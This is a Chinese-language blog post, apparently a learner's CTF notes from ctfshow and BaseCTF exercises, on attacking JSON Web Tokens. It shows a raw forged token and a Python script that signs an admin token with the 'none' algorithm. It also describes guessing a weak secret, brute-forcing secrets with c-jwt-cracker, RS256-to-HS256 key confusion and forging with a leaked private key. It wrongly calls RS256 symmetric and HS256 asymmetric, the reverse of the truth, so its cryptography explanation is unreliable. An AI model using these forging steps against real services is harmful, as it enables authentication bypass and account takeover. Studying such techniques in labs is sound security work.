JWT

前言

​ basectf2024遇到的,学习并记录

一、什么是JWT?

​ JWT即Json Web Token的缩写,顾名思义,是Token的一种。它常被用来在向服务器发起请求时用作身份认证。

​ 了解一下格式 ​ JWT由三部分组成,类似于xxx.yyy.zzz,前两部分是base64编码的内容,第三部分是加密的签名部分。

第一部分被称为header,会说明字符串的类型以及加密方式,用base64编码

第二部分被称为payload,包含用户的身份id,是否是管理权限等字段,这部分中的相关字段可以根据实际情况自行定义。用base64编码

第三部分是加密部分,对前面的“xxx.yyy”用头部中声明的加密方法进行加密,保证JWT的完整性。

​ 如图:

​ 推荐网站JSON Web Tokens - jwt.io ​ 这里可以进行jwt的编码和解码

二、漏洞注入流程

​ 用ctfshow_web345举例

​ 提示admin,抓包看看有没有其他信息

​ cookie里很明显的Jwt,去之前给的网站解码一下

​ 根据提示,编码时把user改成admin

​ 然后因为没有加密算法(没有的话就没有第三部分),jwt.io编码不了,就直接base64(第一第二部分由base64编码)

​ 这里还有一个小细节,那个.是不需要base加密的,直接用下面的字符串base64编码。

1
{"alg": "None","typ": "jwt"}[{“iss”:“admin”,“iat”:1742278638,“exp”:1742285838,“nbf”:1742278638,“sub”:“admin”,“jti”:“ca07bd32f84d7730a28d50b228b96c12”}]

​ 最后就是,你需要访问/admin/路由,是admin文件夹里的index.php

三、简单绕过和题目考点

​ 接下来是一些考点

改none

​ 如果没有密钥的话,后端没有校验签名,则可以通过改alg的值改为none,来进行利用漏洞。省略抓包过程

​ 改加密算法的话,这个网站不能编码,这里就用python脚本

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
import jwt

Payload = {

 "iss": "admin",

 "iat": 1742282896,

 "exp": 1742290096,

 "nbf": 1742282896,

 "sub": "admin",

 "jti": "6c19e00eb5ce818020748d82aeb5f7a5"

}

headers = {

 "alg": "none",

 "typ": "JWT"

}

json_web_token = jwt.encode(payload=Payload,key="",algorithm="none",headers=headers)

print(json_web_token)

​ (第一题不能用这个喔,起码我尝试后的结果是这样的)

​ 后续抓包改bookie,进/admin/就行

弱密码

​ 其实就是设置了个密钥,猜一下是123456

​ 猜对了,然后就用脚本,编码一下。

爆破

​ [ubuntu/kali安装c-jwt-cracker-CSDN博客](https://blog.csdn.net/qq_74263993/article/details/145077681?ops_request_misc=%7B%22request%5Fid%22%3A%22d38a947a2bdd7d48c874d740e4cf62e4%22%2C%22scm%22%3A%2220140713.130102334..%22%7D&request_id=d38a947a2bdd7d48c874d740e4cf62e4&biz_id=0&utm_medium=distribute.pc_search_result.none-task-blog-2~all~sobaiduend~default-4-145077681-null-null.142^v102^pc_search_result_base1&utm_term= c-jwt-cracker&spm=1018.2226.3001.4187)

​ 按照教程安装工具

​ 之后就和之前一样,密钥也是对的

泄露公钥加密算法替换

​ rs256改成hs256

​ 因为rs256是对称加密,所有信息都只用一个钥

​ hs256是非对称加密,使用私钥对消息进行签名并使用公钥进行身份验证。

​ 改后就可以用公钥加密hs256的jwt,这个jwt是可以被后端认证的

​ 本来是这样的,但是python脚本运行之后是没用的,要用JavaScript的环境

​ 咱也没装nodejs,不过可以用在线环境https://lightly.teamcode.com/ ​ (要钱的,只能当免费使用一下。。)

​ (记得装库)

泄露私钥

​ 私钥用于加密rs256,之后的公钥认证是后端的事情,这里我们用python就可以解决,和上面一样,就不多说了。

小结

​ jwt还是比较简单的,这里一天就速成了,知识点都是按照ctfshow的顺序,并配合例题讲解了,这下jwt也算是通关了

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计